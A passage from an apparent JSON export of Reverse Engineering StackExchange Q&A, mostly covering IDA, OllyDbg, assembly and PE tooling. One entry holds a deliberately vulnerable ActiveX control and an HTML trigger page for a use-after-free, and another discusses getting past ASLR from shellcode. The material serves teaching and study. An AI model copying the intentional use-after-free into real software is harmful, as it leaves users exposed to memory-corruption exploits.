        "Answer": "<p>Updated version of @Willem Hengeveld answer for IDA 7.4 API:</p>\n<pre><code>address=0x14001D020\nstruct_id = idaapi.opinfo_t()\nflags = ida_bytes.get_flags(address)\nif ida_bytes.get_opinfo(struct_id, address, 0, flags):\n    struct_name = ida_struct.get_struc_name(struct_id.tid)\n    print (f&quot;tid=0x{struct_id.tid:08x} - {struct_name}&quot;)\n</code></pre>\n"
    },
    {
        "Id": "4693",
        "CreationDate": "2014-06-25T01:38:02.203",
        "Body": "<p>As a beginner I'm trying to use IDC to clear output window in IDA Pro,but I don't know which function will work.</p>\n\n<p>My IDA Pro version is 6.1.</p>\n",
        "Title": "How to use IDC to clear output window in IDA Pro?",
        "Tags": "|ida|",
        "Answer": "<pre><code>form = idaapi.find_widget(&quot;Output window&quot;)\nidaapi.activate_widget(form, True)\nidaapi.process_ui_action(&quot;msglist:Clear&quot;)\nprint('---------------IDA Python Running at {}---------------------'.format(datetime.datetime.now()))\n</code></pre>\n"
    },
    {
        "Id": "4694",
        "CreationDate": "2014-06-25T04:38:42.633",
        "Body": "<p>I am using IDA to find out parameters of a routine in a DLL. I browsed to the routine in question and saw that IDA has automatically done that job for me and put a comment like this:</p>\n\n<pre><code> ; =============== S U B R O U T I N E =======================================\nCODE:0048E5BC\nCODE:0048E5BC ; Attributes: bp-based frame\nCODE:0048E5BC\nCODE:0048E5BC ; int __stdcall Active(int, double, double, double, char, char, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, double, double, char)\n</code></pre>\n\n<p>I want to know how much reliable this info is if I want to call this function in C# (using p/invoke)?</p>\n",
        "Title": "IDApro subroutine analysis",
        "Tags": "|ida|dll|functions|c#|",
        "Answer": "<p>It's not very reliable. IDA can't determine types beyond analyzing the size and type of loads and stores. For instance IDA doesn't tell the difference between a pointer to a type and an integer, given that they're the same size, as far as I know. Other than that all it can do is propagate type information entered by the user. I believe the Hex-Rays decompiler does a bit more advanced argument analysis but it's also not able to extract correct function signatures in many cases.</p>\n\n<p>Argument counts can be guessed from stack pushes and stack accesses on x86 but it's important to remember that there's no requirement that the calling convention use the stack at all. On less register starved architectures, determining argument counts is bit harder due to more efficient calling conventions using registers instead of the stack.</p>\n\n<p>If you want to actually call that function it's extremely likely that you'll want to analyze it in more detail than what IDA gives you automatically.</p>\n"
    },
    {
        "Id": "4703",
        "CreationDate": "2014-06-26T05:55:09.483",
        "Body": "<p>The conditions: say one patched programm has hardcoded address of <code>printf()</code> from dynamically loaded <code>msvcrt80.dll</code>. It works just fine on XP, but Win7 randomizes address space (ASLR), so this trick become impossible and program crashes with call of my hardcoded <code>printf()</code> address.</p>\n\n<p>What should I do to retrieve IAT RVA of this <code>printf()</code> in win7 to make this work?</p>\n",
        "Title": "Win7 ASLR bypass",
        "Tags": "|windows|exploit|",
        "Answer": "<p>If you can patch the program's image, you don't actually need to hardcode the address. you can simply add another import entry to the already existing import tables and have it patched in automatically by the loader.</p>\n\n<p>See <a href=\"http://www.programminghorizon.com/win32assembly/pe-tut6.html\" rel=\"nofollow\" title=\"Iczelion's import table tutorial\">Iczelion's tutorial</a> on import tables to guide you further.</p>\n\n<p>Of course, if you're trying to do that from shellcode, you'll need to walk the loader data, locating the DLL image. The <code>Ldr</code> member in <a href=\"http://en.wikipedia.org/wiki/Process_Environment_Block%20%22PEB%20structure\" rel=\"nofollow\">PEB</a> should help you with that.</p>\n\n<p>If you'd be so kind to provide more details on what exactly you are trying to do, I'll update the answer; there is no simple answer to the \"how to defeat ASLR\" question.</p>\n"
    },
    {
        "Id": "4716",
        "CreationDate": "2014-06-27T04:00:34.400",
        "Body": "<p>I'm trying to extact a global variable from an executable. Basically, I'm tryin to reverse an executable that put some python bytecode in a global variable and I'd like to extract it. I found out that the data is in the .data of the PE File, but I can't find a way to get it in all the data segments.\nAny ideas?</p>\n",
        "Title": "Extract a global variable",
        "Tags": "|python|executable|",
        "Answer": "<p>Since you say you are trying to reverse an executable which stores some python bytecode in a variable, it means probably the executable <a href=\"https://docs.python.org/2/extending/embedding.html\" rel=\"nofollow\"><em>embeds python</em></a>. If the code is likely to be executed at some point of time, you can use a debugger.</p>\n\n<p>Set a breakpoint on <strong><a href=\"https://docs.python.org/2/c-api/veryhigh.html?highlight=pyeval_evalframeex#PyEval_EvalFrameEx\" rel=\"nofollow\">PyEval_EvalFrameEx</a></strong> . </p>\n\n<p>It has a prototype of <code>PyObject* PyEval_EvalFrameEx(PyFrameObject *f, int throwflag)</code></p>\n\n<p>The first parameter <code>PyFrameObject</code> has the following structure.</p>\n\n<pre><code>typedef struct _frame {\n    PyObject_VAR_HEAD\n    struct _frame *f_back;  /* previous frame, or NULL */\n    PyCodeObject *f_code;   /* code segment */\n    PyObject *f_builtins;   /* builtin symbol table (PyDictObject) */\n    PyObject *f_globals;    /* global symbol table (PyDictObject) */\n    PyObject *f_locals;     /* local symbol table (any mapping) */\n    PyObject **f_valuestack;    /* points after the last local */\n    PyObject **f_stacktop;\n    PyObject *f_trace;      /* Trace function */\n    PyObject *f_exc_type, *f_exc_value, *f_exc_traceback;\n    PyThreadState *f_tstate;\n    int f_lasti;        /* Last instruction if called */\n    int f_lineno;       /* Current line number */\n    int f_iblock;       /* index in f_blockstack */\n    PyTryBlock f_blockstack[CO_MAXBLOCKS]; /* for try and loop blocks */\n    PyObject *f_localsplus[1];  /* locals+stack, dynamically sized */\n} PyFrameObject;\n</code></pre>\n\n<p>The <em>third</em> member of <code>PyFrameObject</code> is <code>PyCodeObject</code>.</p>\n\n<p><code>PyCodeObject</code> has the following structure.</p>\n\n<pre><code>typedef struct {\n    PyObject_HEAD\n    int co_argcount;        /* #arguments, except *args */\n    int co_nlocals;     /* #local variables */\n    int co_stacksize;       /* #entries needed for evaluation stack */\n    int co_flags;       /* CO_..., see below */\n    PyObject *co_code;      /* instruction opcodes */\n    PyObject *co_consts;    /* list (constants used) */\n    PyObject *co_names;     /* list of strings (names used) */\n    PyObject *co_varnames;  /* tuple of strings (local variable names) */\n    PyObject *co_freevars;  /* tuple of strings (free variable names) */\n    PyObject *co_cellvars;      /* tuple of strings (cell variable names) */\n    /* The rest doesn't count for hash/cmp */\n    PyObject *co_filename;  /* string (where it was loaded from) */\n    PyObject *co_name;      /* string (name, for reference) */\n    int co_firstlineno;     /* first source line number */\n    PyObject *co_lnotab;    /* string (encoding addr&lt;-&gt;lineno mapping) */\n    void *co_zombieframe;     /* for optimization only (see frameobject.c) */\n} PyCodeObject;\n</code></pre>\n\n<p>The <em>sixth</em> member of the above structure is <code>co_code</code> . It is basically a <code>PyStringObject</code>. \nIt has the following structure.</p>\n\n<pre><code>typedef struct {\n    PyObject_VAR_HEAD\n    long ob_shash;\n    int ob_sstate;\n    char ob_sval[1];\n} PyStringObject;\n</code></pre>\n\n<p>The <code>ob_sval</code> contains the bytecode you are after.\nSo once you hit <code>PyEval_EvalFrameEx</code> follow the structures in memory to get the bytecode.</p>\n\n<p>Another thing to note is you need to know the layout of <code>PyObject_VAR_HEAD</code> and <code>PyObject_HEAD</code> to get the actual offsets. Refer to the <a href=\"http://hg.python.org/cpython/file/3124790c07b4\" rel=\"nofollow\">python source</a> for more information.</p>\n"
    },
    {
        "Id": "4720",
        "CreationDate": "2014-06-27T07:36:50.223",
        "Body": "<p>The calling convention used in assembly differs depending to the compiler, so I need to know \nHow ollydbg2.01 would help me to recognize the parameters passed from caller to the callee and the values returned back from the callee to the caller for a CALL instruction.\nThe assembly which I am working on is compiled by Microsoft visual C++.</p>\n",
        "Title": "Would OllyDbg help recognizing the passed parameters between the caller and the calle?",
        "Tags": "|ollydbg|",
        "Answer": "<p>Ollydbg already shows the parameters passed to a functions in the CPU window. This of course works for standard functions such as <code>printf</code> , <code>CreateFileA</code> which Ollydbg knows about. For example see the image below. The parameters to <code>CreateWindowExA</code> are shown.</p>\n\n<p><img src=\"https://i.stack.imgur.com/XeAoA.png\" alt=\"enter image description here\"></p>\n\n<p>Now the return value of a function is <em>usually</em> kept in register <code>eax</code> in <code>x86</code>. So just note the value after the function returns. Of course in case of a hand-coded assembly the return value may be anywhere.</p>\n"
    },
    {
        "Id": "4724",
        "CreationDate": "2014-06-27T13:42:34.377",
        "Body": "<p>I just started using IDA and OllyDbg, although I am experienced developer but before this I was reverse engineering only Java and .Net code which is much more easy task comparing of what I need to do now.</p>\n\n<p>I have an application which has some buttons that are not accessible by Spy++ and WinInspector and all other tools that I tried. Spy++ sees only the <code>selectorclass</code> which is the whole panel where buttons are placed. I've managed to find where the <code>WndProc</code> of this selector is and even the method wich takes hwnd of <code>SelectorControl</code> from <code>GetPropA</code> method, but I have trouble identifying the click itself, so i don't know where the actual button is clicked and where there the app knows what exact button is clicked and what handler to use. </p>\n\n<p>I would like to ask for some tips which are maybe useful to know but are not known by newbies like me. What are strategies that can be used here?</p>\n\n<p>Maybe there are some ways to identify what framework was used, so I can play with that framework to know what to look for.</p>\n",
        "Title": "Custom UI buttons",
        "Tags": "|ida|ollydbg|c++|",
        "Answer": "<p>If the surrounding window seems to be a genuine window, but the individual buttons are not, I'd assume that</p>\n\n<ul>\n<li>The surrounding window displays a bitmap, or does whatever else is needed to display the individual buttons</li>\n<li>The surrounding window reacts on mouse clicks</li>\n<li>And, the surrounding window determines itself which \"button\" is used by looking at the mouse coordinates at the time of the mouse click.</li>\n</ul>\n\n<p>So, what we want to do is, start the program in a debugger, and use a breakpoint that is triggered when the mouse click occurs. The problem is, the window procedure gets called a lot of times, with all kind of messages, while you want to break on some of them (for example, <code>WM_LBUTTONDOWN</code>), but not on most of the others (for example, <code>WM_PAINT</code>).</p>\n\n<ul>\n<li>Ollydbg can do this directly - place a conditional breakpoint that triggers depending on the window message.</li>\n<li>If, for whatever reason, you can't use that feature, you need to disassemble (and partially understand) the window procedure. It will receive 4 parameters on the stack, the 2nd of which is the window message (see <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms633570%28v=vs.85%29.aspx\" rel=\"nofollow\">Using Window Procedures</a>). The window procedure will, at some point, compare this parameter to the values of well-known window message IDs. You might be interested in <code>WM_LBUTTONDOWN</code> (<code>0x0201</code>) or one of the other <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms645533%28v=vs.85%29.aspx\" rel=\"nofollow\">Mouse Input Events</a>). Check where the code branches to when it receives one of those \"interesting\" messages, and place a breakpoint on that branch.</li>\n</ul>\n\n<p>After placing a suitable breakpoint, run your application in the debugger, click the mouse, and hope the debugger actually hits the breakpoint. If it doesn't, check which mistake you've made.</p>\n\n<p>Single-Step your code. It will probably fetch parameter 4 from the stack, which encodes the X and Y coordinates of the mouse, and compare these parameters to something - chances are, there's an array of structures that defines rectangles and jump addresses, and a loop that checks against each entry.</p>\n\n<p>Once you've found that, you're finished.</p>\n\n<p>Sounds too easy? It probably is, because, depending on your framework, the actual comparisons might be buried deeply in stuff that was a bunch of C++ classes in the original source, and there might be various calls, some of them indirect (in the case of C++ class methods) until you get to the \"interesting\" position.</p>\n\n<ul>\n<li><p>Sometimes it's easier to use Ollydbg to resolve this. Single-Step the source after your breakpoint, using \"step over\" to step over function calls. Whenever you see something interested happened within the function call, note the address. Restart your program, run to your breakpoint, run to the address you noted, and \"step into\" the function this time. This will allow you to put the finger on the interesting code relatively quickly, while stepping over all the <code>strcmp()</code> and <code>malloc()</code> and <code>WriteALotOfStuffToSomeFileIfDebuggingIsOn()</code> functions.</p></li>\n<li><p>Sometimes it's easier to use IDA. Generate a call tree from your window procedure, focus on the first 3-5 levels. Search your code for occurrences of magic numbers, like the <code>0x0201</code> above. Check if one of these is a <code>CMP XX, 0x0201</code> in one of the functions in your call tree. This might be just the position you're looking for.</p></li>\n<li><p>Make a screen shot, and paste it into some image viewer program (I like <code>Irfanview</code> for that). Get the pixel coordinates of the button within the frame window. Search, in the data section, for those values, surrounded by what looks like a table of similar data. This might be your coordinate/jump table. If you find something, place a hardware breakpoint on it to find out when that memory gets accessed, or use the IDA cross reference list to get respective addresses in your code.</p></li>\n</ul>\n"
    },
    {
        "Id": "4734",
        "CreationDate": "2014-06-28T22:52:22.873",
        "Body": "<p>I am trying to understand assembly and buffer overflows on a 64bit Intel i7 machine. I am having a lot of questions. <a href=\"https://stackoverflow.com/questions/24462106/what-do-the-cfi-directives-mean-and-some-more-questions\">I asked on SO</a> but I don't have any satisfactory answers. I also don't get why there are <code>MOV</code> instructions to EEDI, ESI and EDI instead of <code>PUSH</code> instructions. Perhaps I should understand assembly on modern architectures first. Can anyone answer my qustions and point me to right learning resources for modern architectures? (I am asking here because people doing REing do have knowledge about assembly and are more targeted audience as compared to the broader audience on SO)</p>\n",
        "Title": "Any guides on modern assembly?",
        "Tags": "|assembly|",
        "Answer": "<ul>\n<li><a href=\"http://www.asmirvine.com/\" rel=\"nofollow\">Assembly Language for x86 Processors</a> by Kip Irvine</li>\n<li><a href=\"http://www.agner.org/optimize/\" rel=\"nofollow\">Optimization manuals</a> by Agner</li>\n<li><a href=\"http://www.microsoft.com/msj/0298/hood0298.aspx\" rel=\"nofollow\">Under the Hood article</a> by Matt Pietrek  </li>\n<li><a href=\"https://wiki.skullsecurity.org/Assembly_Summary\" rel=\"nofollow\">Skull Security Assembly Summary</a></li>\n<li><a href=\"http://www.duntemann.com/assembly.html\" rel=\"nofollow\">Assembly Language Step By Step for Linux</a> by Jeff Duntemann</li>\n<li><a href=\"https://software.intel.com/en-us/articles/introduction-to-x64-assembly\" rel=\"nofollow\">Introduction to x64 Assembly</a></li>\n<li><a href=\"http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html?iid=tech_vt_tech%2064-32_manuals\" rel=\"nofollow\">Intel Manuals</a> </li>\n<li><a href=\"http://www.tutorialspoint.com/assembly_programming/\" rel=\"nofollow\">Tutorials Point</a></li>\n</ul>\n"
    },
    {
        "Id": "4738",
        "CreationDate": "2014-06-30T09:21:37.473",
        "Body": "<p>My original point was to build something a bit more powerful and generic than a <code>PTRACE</code> system call for Linux platforms. The problem with <code>PTRACE</code> is that it only run on your own system and architecture.</p>\n\n<p>An idea would be to run a virtual machine (or, better, an emulator) with a different operating system and a (possibly) different architecture on it.</p>\n\n<p>While looking for the ideal candidates, I found the <a href=\"http://en.wikibooks.org/wiki/QEMU/Monitor\">QEmu monitor interface</a> and several projects using <a href=\"http://wiki.qemu.org/Main_Page\">QEmu</a> as OS/architecture emulator to collect traces:</p>\n\n<ul>\n<li><a href=\"http://www.s3.eurecom.fr/tools/avatar/\">Avatar</a></li>\n<li><a href=\"https://code.google.com/p/decaf-platform/wiki/DECAF\">DECAF</a> (successor of TEMU)</li>\n<li><a href=\"https://github.com/moyix/panda\">PANDA</a></li>\n<li><a href=\"http://s2e.epfl.ch/\">S2E</a> (seems to be a sub-component of Avatar?)</li>\n<li><a href=\"http://bitblaze.cs.berkeley.edu/temu.html\">TEMU</a> (<a href=\"http://bitblaze.cs.berkeley.edu/\">Bitblaze</a>)</li>\n</ul>\n\n<p>The features I want are similar to the <code>PTRACE</code> interface (freeze execution, step by step runs, memory and registers read and write, ...) all with several OSes and several architectures. </p>\n\n<p>My questions:</p>\n\n<ul>\n<li>Did I forgot some similar projects in my list ?</li>\n<li>Can the QEmu monitor interface provide a system/architecture agnostic <code>PTRACE</code> interface just as I want ? And, if not, what are the main issues I might run into while implementing it inside QEmu ?</li>\n</ul>\n",
        "Title": "Using QEmu monitor interface to extract execution traces from a binary?",
        "Tags": "|dynamic-analysis|qemu|",
        "Answer": "<p>Past TEMU user here.   Perhaps you should attempt to understand TEMU more (which I don't), to prevent duplicating the work already done.   PTRACE only records syscall transitions, but if you go under QEMU, a better granularity is basic blocks.   Not sure if TEMU has the capacity to do that, the idea is the each basic block can uniquely identify part of the path taken, without going into lower level of details at the registers/values level.   ie, less noise, but more refined than syscall.   Knowing the the full state of the registers at each entry and exit point of the basic block, can almost deterministically decide what is the path the entire execution trace will look like, minus all the intermediate registers values, which can be derived if need to.   (\"almost\", because asynchronous event like interrupt can happened).</p>\n\n<p>Update:</p>\n\n<p>There is another option:   <a href=\"http://wiki.qemu.org/\" rel=\"nofollow\">QEmu</a> + <a href=\"http://www.lttng.org/\" rel=\"nofollow\">Lttng</a>, but since default Qemu does not provide that feature, you have to download the QEMU source code, and compile it to enable lttn-ust tracing.</p>\n\n<p><a href=\"http://linuxmogeb.blogspot.sg/2014/08/how-to-trace-qemu-using-lttng-ust.html\" rel=\"nofollow\">http://linuxmogeb.blogspot.sg/2014/08/how-to-trace-qemu-using-lttng-ust.html</a></p>\n"
    },
    {
        "Id": "4744",
        "CreationDate": "2014-07-01T03:07:00.030",
        "Body": "<p>How \"legal\" is it to read and edit .exe files, .dll files, and other compiled source files? Decompilation is taking the compiled code of a program, often minified and obfuscated, and trying to get the original source code back as it was written, or at least get it in a form a person could read. There are various reasons a person or company would make its code harder to read while compiling it, but the 2 I've seen most often have to do with saving resources, like space, RAM, power, etc., and making it so the code is harder to read so the user can not see what it does as easily. As we are a community about questioning the practices of reverse engineering, I think it's safe to say most of us don't like the second reason. I am asking for facts here, though, not opinions.</p>\n\n<p>Because this question could get very broad, I will limit this to laws in particular countries and rules of various influential or popular companies, but info about generalities is also welcome. I am definitely not asking about morals/ethics, although I know those will certainly come up.</p>\n\n<p>There was already <a href=\"https://reverseengineering.stackexchange.com/questions/60/is-reverse-engineering-and-using-parts-of-a-closed-source-application-legal\">a question about the legality of reverse engineering in general</a>, but I'm talking only about decompilation here. As the answers to this question stated, decompilation is one type of reverse engineering. As far as I could tell, the other question didn't get answers about decompilation specifically, though you are free to provide these yourself. One answer did say the question was too broad, but perhaps this question will have a better scope.</p>\n",
        "Title": "Legality of Decompilation",
        "Tags": "|decompilation|law|",
        "Answer": "<p>In Australia, you need to have a valid license for the software and be reversing for \"compatibility\" purposes. Which is pretty wide and includes investigating a security issue. Obviously if the code is available from the vendor, you need to get hold of that source code instead of reversing.</p>\n"
    },
    {
        "Id": "4748",
        "CreationDate": "2014-07-01T08:39:53.470",
        "Body": "<p><strong>Use After Free</strong> bugs a getting more severe these days.</p>\n\n<p>I'm planning to demonstrate Use After Free bug exploitation using <strong>VTable overwrite</strong>. So, I'm trying to create a <strong>ATL ActiveX Control</strong> which is vulnerable to Use After Free bug using <strong>Internet Explorer 9 or 10</strong>.</p>\n\n<p>I'm having trouble to come up with a <strong>Use After Free vulnerable code</strong> that works. Does anyone has experience with this kind of bug and can anyone try to help me.</p>\n\n<p>I'm trying too. If I'm able to get it working, I'll share it here:</p>\n\n<pre><code>class User\n{\n  public:\n    virtual void SetUsername() { }\n};\n\nclass NewUser:public User\n{\n  char username[20];\n  public:\n    virtual void SetUserName(char* strUsername) { strcpy(username, strUsername); }\n    virtual char* GetUserName() { return username; }\n};\n\nSTDMETHODIMP CATLActivexControl::CreateUser(BSTR sUserName, DOUBLE* retVal)\n{\n  USES_CONVERSION;\n  char *tmp = W2A(sUserName);\n  NewUser *nuser = new NewUser;\n  nuser-&gt;SetUserName(tmp);\n\n  free(nuser);\n\n  char *xyz = nuser-&gt;GetUserNameW();\n  return S_OK;\n}\n</code></pre>\n\n<p><strong>I worked on the above example and I have come up with a nicer solution which really triggers Use After Free.</strong></p>\n\n<p><strong>C++ code</strong></p>\n\n<pre><code>#include \"stdafx.h\"\n#include \"ATLStudentActiveXControl.h\"\n\n// Virtual Function defination\nclass User\n{\npublic:\n    virtual void Add(char* uName) = 0;\n    virtual char* GetName() = 0;\n};\n\nclass Student : public User\n{\nprivate:\n    char s_name[30];\n\npublic:\n    virtual void Add(char* uName) { strncpy(s_name, uName, sizeof(s_name)); }\n    virtual char* GetName() { return s_name; }\n\n};\n\nStudent *pStudent = new Student;\n\nSTDMETHODIMP CATLStudentActiveXControl::Add(BSTR sName)\n{\n    USES_CONVERSION;\n    char *tStudent = W2A(sName);\n    pStudent-&gt;Add(tStudent);\n    return S_OK;\n}\n\nSTDMETHODIMP CATLStudentActiveXControl::Delete()\n{\n    free(pStudent);\n    return S_OK;\n}\n\nSTDMETHODIMP CATLStudentActiveXControl::GetName(BSTR* sName)\n{\n    char *tStudent = pStudent-&gt;GetName();\n    *sName = A2WBSTR(tStudent);\n    return S_OK;\n}\n</code></pre>\n\n<p><strong>HTML Code</strong></p>\n\n<pre><code>&lt;HTML&gt;\n&lt;HEAD&gt;\n&lt;TITLE&gt;Use After Free - Test Page&lt;/TITLE&gt;\n&lt;script language=\"javascript\" type=\"text/javascript\"&gt;\n    function UAF() {\n        alert('Start');\n\n        // Assign _studentActiveX variable to ATLStudentActiveXControl\n        var _studentActiveX = document.getElementById(\"ATLStudentActiveXControl\");\n\n        // Add a student\n        _studentActiveX.Add(\"StudentName\");\n\n        // Uncomment the below line to trigger Use After Free vulnerability\n        // _studentActiveX.Delete();\n\n        // Get the name of the added student\n        var _studentName = _studentActiveX.GetName();\n        alert(_studentName);\n\n        // Delete the student\n        _studentActiveX.Delete()\n\n        alert('Done');\n    }\n&lt;/script&gt;\n&lt;/HEAD&gt;\n&lt;BODY&gt;\n&lt;OBJECT ID=\"ATLStudentActiveXControl\" CLASSID=\"CLSID:9EACDFCF-1A2E-462E-9DF6-53E03936DB22\"&gt;&lt;/OBJECT&gt;\n&lt;div&gt;\n    &lt;p&gt;Demonstrating &lt;b&gt;Use After Free&lt;/b&gt; vulnerability.&lt;/p&gt;\n    &lt;input type=\"button\" onclick=\"UAF();\" value=\"Use After Free\" /&gt;\n&lt;/div&gt;\n&lt;/BODY&gt;\n&lt;/HTML&gt;\n</code></pre>\n\n<p>Please share your views. Thanks.</p>\n",
        "Title": "Use After Free - Example",
        "Tags": "|debugging|exploit|vulnerability-analysis|",
        "Answer": "<p>The first thing that comes to my mind is for you to create a class with a few virtual methods, which will be used as the test subject. Then from your ActiveX control you'd expose methods that manipulate the variable, say:</p>\n\n<ul>\n<li>Method #1: Allocate the test object and keep the pointer in a static variable</li>\n<li>Method #2: Call the virtual methods provided by the test object</li>\n<li>Method #3: Free the test object instance, <strong>without setting the pointer to NULL</strong></li>\n<li>Some means to allocate other things that would reuse the memory freed in the previous method</li>\n</ul>\n\n<p>Then whip up a basic script exercising the given methods: allocate, call the methods to make sure it works as designed, free the instance, allocate something else, call virtual methods again and crash the IE instance. ;-) Should do the trick.</p>\n"
    },
    {
        "Id": "4750",
        "CreationDate": "2014-07-01T16:52:52.690",
        "Body": "<p>The ordinary, manual way of redefining a <code>struct</code> member to become a function pointer would be to press on it, hit '<kbd>Y</kbd>', and enter the proper declaration in the popup box. For example, for <code>struct</code> member <code>fncQuery</code>, I would change the string to: <code>BOOL (__cdecl *fncQuery)(char *cmdID)</code></p>\n\n<p>This would be helpful; When I next identify a call to this function pointer, I would mark the appropriate <code>call [reg+offset]</code> line as this function pointer, and IDA will re-analyze and comment the parameters for me.</p>\n\n<p>I have a thousand <code>struct</code> each with at least one such function pointer member, and corresponding lists of the descriptions of these functions' parameters and return values. Understandably, I want to match them up by an IDAPython script rather than by hand. However, I can't find an equivalent for the '<kbd>Y</kbd>' button for scripts:</p>\n\n<ul>\n<li><p><code>AddStrucMember</code> does not cut it as far as I know - I can declare a member to become a pointer to a <code>struct</code> by giving it a <code>structID</code>, but that's not what I need.</p></li>\n<li><p><code>SetMemberType</code> is the same as the previous.</p></li>\n<li><p><code>SetType</code> requires a linear address and a type string - which would be perfect except linear addresses are exclusive to the code section, so I can't touch structure member definitions with <code>SetType</code>.</p></li>\n</ul>\n\n<p>In my search I've found someone who conjured up dark magic, incorporating low level <code>idaapi</code> into his IDAPython script, to detect if a <code>struct</code> member has the same name as a known function, and if it does, \"<em>gets</em>\" the type of that function and \"<em>sets</em>\" it onto the member. Specifically, such horrible calls are seen (taken out of context of its definitions, you'll have to trust me when I say this runs properly and the first function call fills up its many outparameters with meaningful values):</p>\n\n<pre><code>get_named_type = g_dll.get_named_type\nget_named_type.argtypes = [\n  ctypes.c_void_p, #const til_t *ti,\n  ctypes.c_char_p, #const char *name,\n  ctypes.c_int, #int ntf_flags,\n  ctypes.POINTER(ctypes.POINTER(ctypes.c_ubyte)), #const type_t **type=NULL,\n  ctypes.POINTER(ctypes.POINTER(ctypes.c_ubyte)), #const p_list **fields=NULL,\n  ctypes.POINTER(ctypes.POINTER(ctypes.c_ubyte)), #const char **cmt=NULL,\n  ctypes.POINTER(ctypes.POINTER(ctypes.c_ubyte)), #const p_list **fieldcmts=NULL,\n  ctypes.POINTER(ctypes.c_ulong), #sclass_t *sclass=NULL,\n  ctypes.POINTER(ctypes.c_ulong), #uint32 *value=NULL);\n]\n\nget_named_type(\n            til,\n            funcname,\n            idaapi.NTF_SYMM,\n            ctypes.byref(typ_type),\n            ctypes.byref(typ_fields),\n            ctypes.byref(typ_cmt),\n            ctypes.byref(typ_fieldcmts),\n            ctypes.byref(typ_sclass),\n            ctypes.byref(value)\ntype_arr = ctypes.create_string_buffer(0x400)\n            type_arr[0] = chr(idaapi.BT_PTR)\n            manualTypeCopy(type_arr, 1, len(type_arr), typ_type)\n            ret = g_dll.set_member_tinfo(\n                til,\n                struc,\n                memb,\n                ctypes.c_uint(0),\n                type_arr,\n                typ_fields,\n                ctypes.c_uint(0),\n            )\n</code></pre>\n\n<p>The work behind the scenes on \"<code>get_named_type</code>\" eludes me, and looking into its source (and fashioning something from it for my use) may be strong headed and premature.</p>\n\n<p>Do you know of an easier way my need can be fulfilled ? I just need to define structure members as function pointers from an IDAPython script. Please help !</p>\n",
        "Title": "Setting an IDA function pointer in a struct via script",
        "Tags": "|ida|idapython|struct|",
        "Answer": "<p>The <kbd>Y</kbd> key equivalent is indeed the <code>SetType</code> (or, rather, <code>ApplyType</code>) function, and it normally accepts addresses. However, you actually can pass the structure member ID as the \"address\" to set the member's type info.</p>\n"
    },
    {
        "Id": "4751",
        "CreationDate": "2014-07-01T18:57:58.567",
        "Body": "<p>Basically I am trying to re-use some asm code disassembled from a binary on x86 32bit Linux.</p>\n\n<p>I am facing some trouble when references of GOT/GOT.PLT involved like these.</p>\n\n<pre><code>  ....\n  804c460:       53                      push   %ebx\n  804c461:       e8 ec ff ff ff          call   804c452 &lt;__i686.get_pc_thunk.bx&gt;\n  804c466:       81 c3 8e 2b 00 00       add    $0x2b8e,%ebx   // %ebx has the beginning address of GOT table\n  804c46c:       83 ec 18                sub    $0x18,%esp\n  ....\n</code></pre>\n\n<p>If I want to re-use these asm code, I have to <strong>lift concrete address into symbols</strong>, and it seems that in the above code, I have to find a way to let <code>ebx</code> store the begin address of <code>GOT</code> table.</p>\n\n<p>Well... then do I have to modify the linker...? Because the begin address of <code>GOT</code> table can't be decided until link time..</p>\n\n<p>So my questions are:</p>\n\n<ol>\n<li><p>Is modifying linker a right way to do this ..? Is there any other way?</p></li>\n<li><p>How to modify the linker in this issue..? I basically have no experiences before.. </p></li>\n</ol>\n",
        "Title": "How to re-use some asm code when GOT/GOT.PLT references involved?",
        "Tags": "|disassembly|assembly|reassembly|dynamic-linking|",
        "Answer": "<p>If you're using GAS or a compatible assembler, you can use special modifiers to have it emit relocation info for GOT-based addressing.</p>\n\n<p>Here's the <code>gcc -S</code> output of a typical prolog of a function compiled with <code>-fPIC</code>:</p>\n\n<pre><code>call    __i686.get_pc_thunk.bx\naddl    $_GLOBAL_OFFSET_TABLE_, %ebx\nleal    .LC0@GOTOFF(%ebx), %eax\nmovl    %eax, (%esp)\ncall    puts@PLT\n</code></pre>\n\n<p>As you can see, you can replace the <code>%ebx</code> addendum with <code>$_GLOBAL_OFFSET_TABLE_</code>, and other GOT-relative offsets with <code>symbol@GOTOFF</code>. In some cases you may also need <code>@GOTPLT</code> or <code>@GOTPCREL</code> modifiers. See <a href=\"http://www.mindfruit.co.uk/2012/06/relocations-relocations.html\" rel=\"nofollow\">here</a> for more info (mostly x64-specific, but still useful).</p>\n\n<p>If your file is relocatable or a shared object, disassembling it with <code>-dr</code> (so you see relocation info) can be useful to see places where you may need to add back the symbol modifiers.</p>\n"
    },
    {
        "Id": "4752",
        "CreationDate": "2014-07-02T05:56:23.083",
        "Body": "<p>Now working on binary analysis of PE and stuck on tricky (for me), ungoogleable question.</p>\n\n<p>For instance, I've binary, that needs to be patched. So after doing that will be awesome, if there is way to insert address of my function to relocation table. The following picture can illustrate thing I'm talking about.</p>\n\n<p><img src=\"https://i.stack.imgur.com/bk5RQ.png\" alt=\"Relocated functions in binary\"></p>\n\n<p>So, as you can see, relocated functions marked pale, and my function is not in the relocation table. What should I patch to add my function into relocation table? Tried CFF Explorer with no luck. All the patches was made in hiew.</p>\n",
        "Title": "Relocation table patching",
        "Tags": "|assembly|",
        "Answer": "<p>Issue solved. For that moment tested several utilities for relocation patching. </p>\n\n<p><a href=\"http://www.woodmann.com/collaborative/tools/index.php/RelocEditor\" rel=\"nofollow\">RelocEditor</a> - didn't solve the issue, but maybe for some future researchers who will face with similar task will find it useful </p>\n\n<p><a href=\"https://yadi.sk/d/58FFCzwdVkTuo\" rel=\"nofollow\">Reloc Rebuilder</a> - actually solved issue. Just select patched executable and app should fix the relocation table.</p>\n\n<p><a href=\"https://github.com/gta126/Relocation-Section-Editor\" rel=\"nofollow\">Relocation Section Editor</a> - didn't tried myself, but should also work. Link here because of purposes as in first item.</p>\n"
    },
    {
        "Id": "4757",
        "CreationDate": "2014-07-02T11:42:49.730",
        "Body": "<p>When I try to load a Portable Executable in IDA Pro 6.6 it can't resolve the Symbols. I have hooked it to a <code>win32_remote.exe</code>. It keeps saying <code>E_PDB_NOT_FOUND</code>. </p>\n\n<p>I even have WinDBG installed.</p>\n",
        "Title": "IDA fails to load Symbols from EXE on Linux",
        "Tags": "|ida|symbols|",
